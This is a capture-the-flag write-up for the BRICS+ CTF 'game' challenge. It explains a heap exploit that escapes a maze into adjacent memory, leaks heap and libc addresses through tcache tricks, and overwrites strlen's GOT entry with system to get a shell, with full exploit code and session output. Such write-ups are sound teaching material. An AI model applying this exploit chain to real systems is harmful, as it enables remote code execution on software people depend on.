BRICS+ CTF - game

Playing the Fool.

nc game-51463dfee2ff6388.brics-ctf.ru 13001

Team: Weak But Leet

Attachment: game.zip xpl.py

Name (24 chars max): AAAAAAAAAAAA
1. Maze
2. Cards
3. User info
4. Exit
> 1
Use a s d w keys to move, you win when you reach any maze side

Additional keys: 
e - edit maze
i - user info
q - quit

########
#A ## A#
# #  # #
#@  #  #
# #   ##
#      #
# # #  #
###### #

You now at 3 1 (you may not see '@' because of portal)

In this challenge, we’re able to play a maze or card game. Though I used the card game merely to enlarge the heap when needed or triggering an allocation, the interesting part is in the maze game.

The maze is stored on the heap (right below our user info object)

0x406290:	0x0000000000000000	0x0000000000000031
0x4062a0:	0x0000000000000000	0x0000000000000001 <= count of maze/card won/played
0x4062b0:	0x0000000000000018	0x00000000004062d0 <= size / name buffer
0x4062c0:	0x0000000000000000	0x0000000000000031
0x4062d0:	0x2020202020202020	0x2020202020202020 <= name buffer
0x4062e0:	0x2020202020202020	0x0000000000000000
0x4062f0:	0x0000000000000000	0x0000000000000051
0x406300:	0x2323232323232323	0x2341202323204123 <= maze
0x406310:	0x2320232020232023	0x2320202320204023
0x406320:	0x2323202020232023	0x2320202020202023
0x406330:	0x2320202320232023	0x2320232323232323
0x406340:	0x0000000000000000	0x0000000000020cc1

In most ctf maze games the target is to somehow leave the maze to access memory around it, so the objective was clear. Wasted some hours to leave it “in the wrong direction” and totally overcomplicated it (trying to resize card objects to free them multiple times, and so on…).

But after a break and a fresh reset, I set my mind that it might be the best idea to keep the heap clean and simple and just leave the maze to the top, “wandering” into our user object. This turned out to be a lot easier.

So, how to leave the maze without winning? Well, we can create a new maze with an empty space on top and place a portal inside the maze, which will warp us into this free space. When we then leave the portal to the north, the game will not recognize that we left the maze and lets us walk around outside of it.

def exploit(r):
    r.sendafter(": ", "\x20"*24)
    r.recvuntil("> ")

    maze = []
    maze.append("######## #######")
    for i in range(2):
        maze.append("#              #")
    maze.append("######## ########")

    go_maze()
    pause()
    log.info("Rewrite maze to get a teleporter to leave maze to north")
    edit_maze(4, 16, maze, ["1 1 0 8"], "2 1")

With this, we’ll create a 4*16 maze, which will fit nicely into a 0x50 chunk. Thus it will reuse (free/alloc) the existing maze. We also placed an open space at the middle of the top line and put a portal on 1/1, which will warp into 0/8 (which is the open space).

########A#######
#A             #
#@             #
######## #######

You now at 2 1 (you may not see '@' because of portal)

We’ll now walk through the portal and leave the maze and then walk into the size of userinfo.

log.info("Overwrite name size")
go("w")    # walks into portal
go("w")    # walks out of the maze
go("w")
go("w")
for i in range(7):
    go("a")
go("w")
go("w")

The player will be marked in the maze as 0x40 and since we “walked” onto the second byte of size, size will now have changed from 0x18 to 0x4018.

0x406290:	0x0000000000000000	0x0000000000000031
0x4062a0:	0x0000000000000000	0x0000000000000001
0x4062b0:	0x0000000000004018	0x00000000004062d0 <= size / name buffer
0x4062c0:	0x0000000000002000	0x0000000000000031
0x4062d0:	0x2020202020202020	0x2020202020202020
0x4062e0:	0x2020202020202020	0x0000000000000020
0x4062f0:	0x0000000000000000	0x0000000000000051
0x406300:	0x2323232323232323	0x2323232323232320
0x406310:	0x2020202020204123	0x2320202020202020
0x406320:	0x2020202020202023	0x2320202020202020
0x406330:	0x2323232323232323	0x2323232323232320

When we move around, we leave 0x20 bytes on our way (since the game wants to replace our previous position with a whitespace to draw the maze cleanly). So, by now, we would already be able to write a huge amount of data behind our name buffer, but it would be even nicer, if we could overwrite the userinfo object itself and point the name buffer anywhere.

So currently it points to 0x4062d0. If we’d just sneak around into the LSB of this, that would turn it into 0x406240, pointing before our userinfo object.

go("s")
for i in range(7):
  go("d")

go("w")
0x406240:	0x0000000000000000	0x0000000000000000 <= new fake buffer
0x406250:	0x0000000000000000	0x0000000000000000
0x406260:	0x0000000000000000	0x0000000000000000
0x406270:	0x0000000000000000	0x0000000000000000
0x406280:	0x0000000000000000	0x0000000000000000
0x406290:	0x0000000000000000	0x0000000000000031
0x4062a0:	0x0000000000000000	0x0000000000000001
0x4062b0:	0x0000000000002018	0x0000000000406240 <= size / name buffer
0x4062c0:	0x2020202020202000	0x0000000000000020
0x4062d0:	0x2020202020202020	0x2020202020202020
0x4062e0:	0x2020202020202020	0x0000000000000020
0x4062f0:	0x0000000000000000	0x0000000000000051

Since lowest 3 nibbles of an address will always be the same, this will also work just fine, when we re-enable ASLR.

With this setup, we can now change our name to align it with the name buffer address and then leak that with Userinfo.

r.sendline("3")
r.sendafter(": ", "y")
r.sendafter(": ", "A"*0x78)
r.recvuntil("> ")

r.sendline("3")
r.recvuntil("Name: "+"A"*0x78)
LEAK = u64(r.recvline()[:-1].ljust(8, "\x00"))
HEAPBASE = LEAK - 0x240

Now, with a heap leak at hand, we can do even more with this primitive.

Let’s point our buffer to tcache arena, so we can control allocation of chunks easily.

payload = "A"*0x78
payload += p64(HEAPBASE+0x10)

r.sendlineafter("(y/n) : ", "y")
r.sendlineafter(": ", payload)    
r.recvuntil("> ")

log.info("Fillup heap to get enough chunks to free into bin")
payload = p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)

r.sendline("3")
r.sendlineafter("(y/n) : ", "y")

r.sendlineafter(": ", payload)

This will basically just clear out tcache arena. Thus all new allocations would come from top. We use this to enlarge the heap a bit, so that we can put a big fake chunk in it without much hassle.

go_cards()
quit()

r.sendline("3")
r.sendlineafter("(y/n) : ", "y")

r.sendlineafter(": ", payload)
r.recvuntil("> ")
go_cards()
quit()

r.sendline("3")
r.sendlineafter("(y/n) : ", "y")

r.sendlineafter(": ", payload)
r.recvuntil("> ")   
go_cards()
quit()

Playing cards will allocate and free some 0x21 chunks. We do this multiple times, to push top down the heap.

After this we’ll put a 0x480 fake chunk on the heap and let tcache 0x20 point to it. We’ll then allocate and free it via another card game, which will then pull a main_arena pointer onto the heap.

payload = p64(0x0000000000000001)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(HEAPBASE+0x250)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x000000000000000a)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x4141414141414141)+p64(0x0000000000000481)
payload += p64(0x4141414141414141)+p64(0x4141414141414141)  # fake buffer
payload += p64(0x4141414141414141)+p64(0x4141414141414141)
payload += p64(0x4141414141414141)+p64(0x4141414141414141)
payload += p64(0x4141414141414141)+p64(0x4141414141414141)
payload += p64(0x4141414141414141)+p64(0x4141414141414141)
payload += p64(0x4141414141414141)+p64(0x4141414441414141)
payload += p64(0x4141414141414141)+p64(HEAPBASE+0x250)

r.sendline("3")
r.sendlineafter("(y/n) : ", "y")

r.sendlineafter(": ", payload)
r.recvuntil("> ")   

go_cards()
quit()

Before playing cards, heap will look like this

0x406000:	0x0000000000000000	0x0000000000000291
0x406010:	0x0000000000000001	0x0000000000000000
0x406020:	0x0000000000000000	0x0000000000000000
0x406030:	0x0000000000000000	0x0000000000000000
0x406040:	0x0000000000000000	0x0000000000000000
0x406050:	0x0000000000000000	0x0000000000000000
0x406060:	0x0000000000000000	0x0000000000000000
0x406070:	0x0000000000000000	0x0000000000000000
0x406080:	0x0000000000000000	0x0000000000000000
0x406090:	0x0000000000406250	0x0000000000000000 <= points to fake 0x480 chunk
0x4060a0:	0x0000000000000000	0x0000000000000000
0x4060b0:	0x0000000000000000	0x0000000000000000

...

0x406210:	0x0000000000000000	0x0000000000000000
0x406220:	0x0000000000000000	0x0000000000000000
0x406230:	0x0000000000000000	0x0000000000000000
0x406240:	0x4141414141414141	0x0000000000000481
0x406250:	0x4141414141414141	0x4141414141414141 <= fake chunk
0x406260:	0x4141414141414141	0x4141414141414141
0x406270:	0x4141414141414141	0x4141414141414141
0x406280:	0x4141414141414141	0x4141414141414141
0x406290:	0x4141414141414141	0x4141414141414141
0x4062a0:	0x4141414141414141	0x4141414441414141
0x4062b0:	0x4141414141414141	0x0000000000406250 <= size / name buffer 
0x4062c0:	0x202020202020200a	0x0000000000000020
0x4062d0:	0x2020202020202020	0x2020202020202020
0x4062e0:	0x2020202020202020	0x0000000000000020
0x4062f0:	0x0000000000000000	0x0000000000000051
0x406300:	0x2323232323232323	0x2323232323232320
0x406310:	0x2020202020204123	0x2320202020202020

Playing cards and quit will allocate the fake chunk and free it.

0x406230:	0x0000000000000000	0x0000000000000000
0x406240:	0x4141414141414141	0x0000000000000481
0x406250:	0x00007ffff7fa6ce0	0x00007ffff7fa6ce0 <= freed fake chunk
0x406260:	0x0000000000000000	0x0000000000000000
0x406270:	0x4141414141414141	0x4141414141414141
0x406280:	0x4141414141414141	0x4141414141414141
0x406290:	0x4141414141414141	0x4141414141414141
0x4062a0:	0x4141414141414141	0x4141414541414141
0x4062b0:	0x4141414141414141	0x0000000000406250
0x4062c0:	0x202020202020200a	0x0000000000000020

In the previous payload, I also directly overwrote the name buffer pointer with the address of the fake chunk, so that we can now directly read the libc address from it.

r.sendline("3")
r.recvuntil("Name: ")
LIBCLEAK = u64(r.recvline()[:-1].ljust(8, "\x00"))
libc.address = LIBCLEAK - 0x219ce0

log.info("LIBC leak       : %s" % hex(LIBCLEAK))
log.info("LIBC            : %s" % hex(libc.address))

Now that we know libc, we can bring this to an end. Since User Info will print our buffer with puts, strlen.abs.got is a very good target for this.

When puts gets called, it will check the length of the string with strlen(username), so if we can overwrite it with system first, it would execute system(username).

For this, we’ll overwrite the buffer address in our userinfo with the address of strlen.abs.got-8.

STRLENGOT = libc.address + 0x219098
payload = p64(0x4141414141414141)+p64(0x4141414141414141)
payload += p64(0x4141414141414141)+p64(0x4141414141414141)
payload += p64(0x4141414141414141)+p64(0x4141414141414141)
payload += p64(0x4141414141414141)+p64(0x4141414141414141)
payload += p64(0x4141414141414141)+p64(0x4141414141414141)
payload += p64(0x4141414141414141)+p64(0x4141414441414141)
payload += p64(0x10)+p64(STRLENGOT-8)
r.sendlineafter(": ", "y")
r.sendlineafter(": ", payload)
r.recvuntil("> ")

Then we’ll just change the username again to /bin/sh\x00 + system.

r.sendline("3")
r.sendlineafter("(y/n) : ", "y")

payload = "/bin/sh\x00" + p64(libc.symbols["system"])

r.sendafter(": ", payload)

r.recvuntil("> ")

This way our username will be /bin/sh, and we’ll also overwrite strlen.abs.got with system.

Now, we’ll just need to show userinfo again to trigger the shell.

[*] '/media/sf_ctf/brics23/gamework/game/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to game-51463dfee2ff6388.brics-ctf.ru on port 13001: Done
[*] Rewrite maze to get a teleporter to leave maze to north
[*] Overwrite name size
[*] Overwrite name pointer lsb
[*] Leak heap from name
[*] HEAP leak        : 0x1d4a240
[*] HEAP base        : 0x1d4a000
[*] Point name to tcache arena
[*] Fillup heap to get enough chunks to free into bin
[*] Free fake bin chunk to get mainarena pointer
[*] Leak mainarena pointer
[*] LIBC leak       : 0x7f7fa1afece0
[*] LIBC            : 0x7f7fa18e5000
[*] Overwrite strlen abs.got
[*] Show name to trigger shell
[*] Switching to interactive mode
$ ls
flag.txt
vuln
$ cat flag.txt
brics+{4c760273d8880a807d0c802781ba8793}
$